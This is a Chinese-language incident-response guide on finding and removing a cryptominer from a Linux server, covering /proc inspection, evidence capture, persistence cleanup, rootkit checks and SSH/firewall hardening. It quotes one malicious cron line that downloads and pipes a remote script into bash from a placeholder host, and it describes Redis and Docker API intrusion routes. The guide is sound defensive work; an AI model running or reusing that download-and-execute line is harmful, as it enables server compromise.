事情是这样的上个月某天早上我刚打开电脑就被连续十几条告警刷屏服务器CPU持续95%以上出口带宽跑满负载飙到几十。但我们的业务流量明明没有大促这个时间点不应该有任何高峰。我登录服务器第一眼top里躺着一个我不认识的进程CPU占用300%多进程名还故意伪装成系统服务名。不用多说挖矿病毒上了机器。这篇文章就是把我处理这件事的完整流程写出来连同判断思路、清理步骤、加固方案全部分享给刚入门或者还没遇到过这种事的Linux使用者。内容不绕弯子照着操作就能解决问题同时会告诉你每一步背后的原因。适合运维新手、个人开发者、小团队服务器管理员也适合那些公司“出事才想起来搞安全”的兄弟们。1. 到底怎么判断它是不是挖矿病毒别靠感觉靠这几个命令1.1 先看负载再看进程top 与 htop 的正确打开方式很多人一发现服务器卡顿第一反应就是重启。这种做法我没法完全否定但如果是挖矿病毒重启大概率没用。因为现在的大部分挖矿木马都做了持久化你起来它也跟着起来而且重启会丢掉了现场信息后续排查反而更被动。登录后第一步用top看整体负载和CPU占用。重点不是看排名前几的进程而是注意这几点CPU的us用户态和sy内核态占比是否异常有没有进程的CPU占用稳定超过100%同一进程是否在每次刷新时PID不变或频繁变化系统负载值是否远高于CPU核数htop比top更直观可以看到进程树、颜色区分线程如果是隐蔽的进程树结构一眼就能看出父子关系。没装htop的可以用yum install htop或者apt install htop非常快。真正的高手排查时不会只看top因为有些rootkit会替换掉ps、top、netstat这些命令让它们隐藏恶意进程。所以更可靠的路径是直接看/proc目录。我习惯先跑一条命令把每个进程的真实CPU占用列出来for pid in $(ls /proc | grep -E ^[0-9]$); do if [ -r /proc/$pid/stat ]; then utime$(awk {print $14} /proc/$pid/stat) stime$(awk {print $15} /proc/$pid/stat) total$((utime stime)) echo $pid $total fi done | sort -k2 -nr | head -20这条命令直接读取内核向/proc暴露的进程统计字段不经过被篡改的系统工具。如果这个结果和top展示的有出入说明你的系统命令很可能被动过手脚了这就不是简单清除挖矿能解决的了。1.2 找出异常的来历ps 追溯父子进程确认有异常进程后下一步是找出它的启动方式和父进程。挖矿木马很少直接作为孤儿进程运行它多半是被某个入口带起来的比如定时任务、WebShell、redis漏洞、docker未授权访问等。用一条简单命令查看进程的父子关系ps -ef --forest或者对指定进程号查看详情ps -ef | grep 12345 cat /proc/12345/status | grep PPid关键地方在这里看PPid。如果PPid是1systemd说明这个进程被托管或已变成孤儿进程如果PPid是某个web服务进程那基本能推断它是通过Web漏洞被拉起的如果PPid是crond那线索就在定时任务里。同时看一下进程的工作目录和可执行文件路径ls -l /proc/12345/cwd ls -l /proc/12345/exe挖矿木马经常把自己放在/tmp、/var/tmp、/dev/shm这类可写目录下文件名伪装成sysguard、kdevtmpfs、php-cgi、httpd之类。看到这种路径组合基本可以确信中招了。1.3 内存里运行的进程top 可能骗你的几种方式挖矿木马为了让自己的进程不那么显眼常用几种伪装手法把进程名改成和正常系统服务一样的名字比如ksoftirqd/0、kworker、systemd-network把进程名设成超长字符串挤掉后面的CPU列让肉眼在top里看不到CPU占用直接替换系统命令让你查什么都是干净的遇到这类情况要看/proc/进程号/cmdlinecat /proc/12345/cmdline | tr \0 cat /proc/12345/environ | tr \0 \n如果cmdline显示的是一个普通系统服务但你的服务器当前跑的服务清单里根本没有它那就要注意。另一个很有效的方法是检查/proc/12345/exe指向的文件是否还在如果文件已经被删除但进程还在运行那几乎可以断定是恶意程序——正常进程的可执行文件不会被删掉。2. 动手删除之前先做一次“现场拍照”隔离与取证2.1 快照备份别把自己逼上绝路很多新人看到挖矿进程就要立刻杀掉然后删文件生怕多留一秒就多损失一点。这个心情能理解但实际不建议这么做。先别急着清扫先给自己留一条退路。如果你用的是云服务器控制台里的快照功能此时就是保命符几秒钟就能创建一个磁盘快照后续就算删错了文件也能恢复。如果是物理机或者没有快照功能至少把关键业务数据备份到安全位置。注意备份数据时不要去挂载原盘执行大文件拷贝这会加剧服务器负载优先备份配置和数据库内容。2.2 抓取挖矿样本利用 /proc/pid/exe取证不是专业安全团队才做的事个人处理挖矿病毒时也需要先保留样本。因为你需要分析病毒的具体行为判断它是简单木马还是带有rootkit的顽固程序这直接影响后面到底该手动清除还是直接重装。抓样本最直接的办法cp /proc/12345/exe /tmp/malware.sample chmod 400 /tmp/malware.sample即使原始文件已经被删掉从/proc中也能把正在运行的进程镜像拷贝出来。拿到样本后先不要急着双击运行可以用strings命令简单看一下它编译链接的库、矿池地址、密钥信息等strings /tmp/malware.sample | grep -E pool|stratum|http://|https://|\.onion这一步能让你摸清病毒连接了哪个矿池、通过什么协议通信。记录下来后面封堵防火墙的时候用得上。同时把当前的网络连接状态存一份快照ss -antp /tmp/netstat_before.txt lsof -i -P -n /tmp/lsof_before.txt crontab -l /tmp/crontab_before.txt不要小看这几个文件它记录的是清理前的原始状态。万一清理过程中出现误判这些文件能帮你复盘整个链条。2.3 拦截矿池通信断网不如精准封禁有一种做法是发现挖矿后立刻拔网线或者通过云厂商安全组直接禁掉全部出方向流量。这个方法确实能立刻止损但在生产环境里经常引起误伤可能把正常的业务调用也断掉。更好的做法是精准封禁矿池地址和病毒已知的通信端口。把它加入防火墙iptables -A OUTPUT -d 矿池IP -j DROP iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 4444 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 6666 -j DROP大多数挖矿木马使用的矿池端口集中在14444、3333、4444、5555、6666、7777、8080等附近但不是绝对建议结合上一节抓到的字符串信息来封。如果开启了firewalld可以用firewall-cmd --permanent --add-rich-rulerule familyipv4 destination address矿池IP reject记得重载规则。3. 挖矿主体的清除过程到底该 kill 哪个、删哪个3.1 常见挖矿进程与文件特征速查表不是每个恶意进程都叫xmrig现在攻击者会随机换各种名字。但大多数挖矿木马有共同特征我把常见的情况整理了一张表方便对照特征类型常见值或特征说明进程名伪装kdevtmpfs、kinsing、pwnrig、watchdogs、php-cgi、httpd伪装成内核线程或Web服务的名字存放路径/tmp、/var/tmp、/dev/shm、/lib、/usr/lib利用目录可写且不被常规关注的特点启动方式crontab、systemd service、rc.local、LD_PRELOAD通过多种持久化手段保证重启后再活网络连接高频连接矿池端口、境外IP有固定时间间隔的重连行为CPU特征多核跑满、单进程CPU 300%以上挖矿计算密集型特征进程名伪装这块值得多说一句。早些年挖矿病毒喜欢直接用xmrig这类公开挖矿软件名现在基本见不到了因为太容易被一眼发现。现在更常见的是把自己放到/usr/lib/linux/这种看起来像正常目录的地方进程名改成systemd或者cron和系统的真实进程混在一起粗看根本分辨不出来。3.2 顺藤摸瓜从进程到启动项的完整溯源找到了异常进程后先别急着kill。先查一遍它为自己设置的所有持久化手段否则你kill掉这个进程几秒钟后它又被拉起来形成“你杀你的、它活它的”尴尬局面。常见的持久化位置逐个排查# 当前用户的定时任务 crontab -l # 系统定时任务目录 ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ # 存放crontab备份的目录 ls -la /var/spool/cron/ /var/spool/cron/crontabs/ # systemd服务 systemctl list-unit-files | grep -E enabled|generated ls -la /etc/systemd/system/ # 启动脚本 cat /etc/rc.local 2/dev/null挖矿木马最喜欢写的地方是/var/spool/cron/和/etc/cron.d/因为这两个位置普通用户很少去看。而且它们写入的内容往往是base64编码的光看文件内容看不出来执行了什么东西。我自己遇到过一个样本定时任务内容是正则替换curl地址后下载文件但整个命令被分片拼接不还原根本看不出恶意。所以看定时任务时别只读表面如果看到类似下面的内容*/5 * * * * root (curl -s http://xxx.xx/x||wget -q -O- http://xxx.xx/x)|bash这基本就是挖矿木马在拉锯战。还有的会利用at任务、anacron、systemd timer这些比较少但存在遇到顽固样本时都要检查。3.3 清理定时任务和 systemd 服务找到启动项后先把恶意任务剥离出来。结合我们的场景操作顺序应该是先把异常进程杀掉kill -9 进程PID同时把守护它的父进程也处理掉防止它被重新拉起。然后清理定时任务crontab -e删除挖矿相关行。系统定时任务目录里的对应文件也要删掉比如/etc/cron.d/zzzz。删除前用grep -r 可疑关键词 /etc/cron* /var/spool/cron*找到所有出现位置。systemd恶意服务采用下面几步处理systemctl stop 恶意服务名 systemctl disable 恶意服务名 rm -f /etc/systemd/system/恶意服务名.service systemctl daemon-reload接下来是删除二进制文件。如果前面已经从/proc/pid/exe映射到了实际文件路径直接删除即可。如果文件处于被占用状态先kill进程再删。如果文件在/tmp且占用了内存可以用lsof L1列出所有被删除但仍在运行的进程然后kill掉。3.4 别大意清理完马上复查一遍清理完成后不要觉得万事大吉立刻做一次复查确认病毒没有“分身”或者卷土重来ps aux | grep -E 进程名|可疑关键字 | grep -v grep ss -antp | grep 矿池端口 crontab -l cat /root/.ssh/authorized_keys这里特别提醒一定要检查SSH密钥。挖矿木马种到机器上后攻击者往往会立刻添加自己的SSH公钥到authorized_keys这样即使你清了文件、堵了漏洞他随时还能用密钥登进来。清理的时候把里面不认识的公钥全部删掉只保留你自己管理的密钥。4. rootkit 和顽固残留什么时候该放弃治疗直接重装4.1 如何判定系统被植入了 Rootkit处理挖矿病毒最怕遇到的不是病毒本身而是它顺便植入了rootkit。Rootkit会劫持系统底层调用让你的ps、ls、netstat、ss全部显示假数据你看到的“干净系统”可能只是它演给你看的。怎么快速判断有没有rootkit看这几个地方# LD_PRELOAD 劫持检查 cat /etc/ld.so.preload # 系统库文件是否被修改 ldd /bin/ls ldd /usr/bin/top # 检查可疑的内核模块 lsmod | grep -iE hide|ko|rootkit # 使用rkhunter扫描 rkhunter --check --skips chkrootkit如果/etc/ld.so.preload里出现了一个不在系统正常包里的.so文件比如/usr/lib/libprocesshider.so这种那基本可以确定系统命令被劫持了。此时你看到的挖矿进程可能只是冰山一角底层可能隐藏着更多恶意行为。4.2 能救则救不能救别硬扛这是一个真实经验如果只是普通挖矿木马手动清理完全能解决耗时半小时以内。但如果发现了rootkit痕迹我个人建议不要恋战优先考虑重装系统。不是说一定清不干净而是你无法确认它在系统里改了什么、藏了什么暗门。一个被rootkit侵蚀过的系统就算肉眼看到的恶意程序都清掉了内核层和动态链接层面可能还留有后手后续随时可能再次被控制。什么时候选择重装这个判断标准可以参考情况建议仅发现挖矿进程和定时任务无rootkit迹象手动清理保留系统发现LD_PRELOAD劫持或系统命令被替换建议重装内核模块被加载了可疑ko文件必须重装系统密码和SSH密钥被篡改重装或至少全量重置凭据清理一次后又被入侵不要犹豫重装之前处理过一个电商客户的服务器第一次清理完第二天又中招了第二次排查才发现攻击者在多个地方埋了后门包括一个伪造的系统更新脚本。这种典型的“你清啥它重放啥”的情况继续清理就是浪费时间直接备份业务数据、重新安装系统最稳妥。4.3 重装后恢复数据的注意点重装前要注意备份的数据里可能有“脏东西”。恶意脚本、被篡改的配置文件、web目录里的webshell这些不能直接恢复到新系统。数据库和业务数据比较安全但也要经过扫描确认。恢复时的两个建议数据库导出文件恢复到新实例后先修改数据库账号密码禁用默认端口远程访问Web目录下的文件用杀毒软件全盘扫描一遍再上线或者干脆只保留业务数据程序代码从版本库重新拉取很多人会犯一个错误重装系统后把原系统的/home、/var/www原样拷回去结果挖矿病毒藏在某个上传目录的php脚本里新系统瞬间二次中标。这不是危言耸听WebShell是挖矿木马最常用的入口之一。5. 反入侵加固把被撬开的“门”封住5.1 攻击入口的常见套路Redis/Docker/SSH弱口令清理完病毒只是治标堵住入口才是治本。我看了大量挖矿入侵案例后发现大部分攻击者进入服务器的方式就那几类没有多高端。第一个是Redis未授权访问。很多开发者为图方便把Redis绑定在0.0.0.0然后不设置密码或者设置弱密码。攻击者连接后利用Redis写文件功能直接把自己的公钥写进/root/.ssh/authorized_keysSSH登录就进来了。防范就两条redis.conf里bind 127.0.0.1并设置强密码如果必须对外提供服务放到受信内网并通过防火墙限制来源IP。第二个是Docker API未授权访问。装完Docker后如果直接执行dockerd -H tcp://0.0.0.0:2375等于把整个宿主的root权限送给公网。攻击者调用Docker API创建特权容器轻易就能逃逸到宿主机。现在很多挖矿攻击专门扫2375端口扫到一个就种一批。第三个是SSH弱口令和暴力破解。Linux服务器的22端口每天都遭受大量扫描。如果你的密码是123456、admin这种级别暴破只是时间问题。这种入口也最容易被新手忽略总觉得自己的密码“挺复杂的”实际在密码字典面前毫无抵抗力。5.2 SSH 加固清单让你少挨一半扫描SSH加固是目前性价比最高的防御手段。我把自己实践过的配置写出来跟着改就行编辑/etc/ssh/sshd_config修改以下内容Port 2022 PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes MaxAuthTries 3 LoginGraceTime 30 AllowUsers yourname改完执行systemctl restart sshd。这里解释一下为什么这么改是有效的把SSH端口从22改成其他高位端口能避开绝大多数批量扫描让机器在公网上的暴露面大大缩小。这不是安全措施只是减少噪音。禁用root直接登录配合普通用户 sudo就算有人拿到你的非root账号也还需要二次提权。禁用密码登录只允许密钥登录基本杜绝了暴力破解。你可能觉得改了端口会不方便但换来的安静是值得的。之前我管理的一台云主机改成非标准端口后日志里每天的暴力破解尝试从几千条骤降到几乎为零。5.3 对外端口的最小化封锁服务器的原则应该是默认全部关闭只开业务必需的端口。不要开着大量端口等业务要用再加。这里给出UFW和firewalld的常用配置。UFWDebian/Ubuntuufw default deny incoming ufw default allow outgoing ufw allow 2022/tcp ufw allow 80/tcp ufw allow 443/tcp ufw enableFirewalldCentOS/RHELfirewall-cmd --permanent --zonepublic --remove-servicessh firewall-cmd --permanent --zonepublic --add-port2022/tcp firewall-cmd --permanent --zonepublic --add-servicehttp firewall-cmd --permanent --zonepublic --add-servicehttps firewall-cmd --reload如果数据库、消息队列等中间件只在内部使用一定不要暴露在公网。如果因为架构原因必须对外提供服务至少要限制来源IP白名单。比如MySQL只允许应用服务器的IP访问Redis只允许内网访问这种需要在云安全组和本机防火墙同时配置。5.4 自动更新与入侵检测的兜底加固完了之后系统漏洞依然是最大的隐患。Linux系统的软件仓库会不断发布安全补丁但很多服务器长年不更新导致攻击者利用已知漏洞一打一个准。配置自动安全更新Ubuntu/Debian下可以用unattended-upgradesapt install unattended-upgrades dpkg-reconfigure --prioritylow unattended-upgradesCentOS/RHEL下用yum-cron或dnf-automaticdnf install dnf-automatic systemctl enable --now dnf-automatic.timer再配合一个简单的入侵检测工具最推荐的是fail2ban它能在检测到连续SSH登录失败后自动封禁来源IPapt install fail2ban # 或者 yum install fail2ban修改/etc/fail2ban/jail.local[sshd] enabled true port 2022 maxretry 3 bantime 3600这里面的bantime是封禁时长单位是秒。3600就是封一小时如果你被盯上了这个时长能有效阻止攻击者的持续扫描同时不会误伤自己的IP。6. 恢复正常后的监控与体检好习惯比一次清理更重要处理完挖矿病毒后我会建议你给服务器建立一套基础监控不用多复杂但要有。最朴素的做法是定时抓取进程和网络快照用crontab就能实现每天凌晨跑一次把结果存到单独目录0 4 * * * ps aux /var/log/process_$(date \%Y\%m\%d).log 5 4 * * * ss -antp /var/log/netstat_$(date \%Y\%m\%d).log 10 4 * * * crontab -l /var/log/cron_$(date \%Y\%m\%d).log这样即使后续再出问题你能对照历史日志找出变化的时间点。如果想更自动化可以用auditd监控关键目录的写入行为。尤其是/tmp、/dev/shm、/var/tmp这些挖矿木马最爱落地的目录。配置方法不复杂修改/etc/audit/rules.d/audit.rules添加-w /tmp -p wa -k tmp_watch -w /var/tmp -p wa -k tmp_watch -w /dev/shm -p wa -k tmp_watch然后重启auditd服务。这样做之后如果再有异常文件在临时目录创建审计日志里会留下记录能在第一时间发现可疑行为。最后说一个我踩过几次坑之后总结出来的经验处理挖矿病毒最核心的不是“清理动作”而是“判断能力”。遇到紧急情况先不要慌先拍快照、备份证据、理清入侵路径再决定是清理还是重装。尤其是新手不要在网上看到一篇“杀毒教程”就照着敲结果把系统文件也删了最后还不如重装来得干净。如果你对Linux还不太熟我的建议很简单中了一次毒之后认认真真把SSH加固做了把对外端口改成最小化把自动更新开了这比装任何“杀毒软件”都有用。服务器中了挖矿不可怕可怕的是中完之后还不意识到是哪里被撬开了门。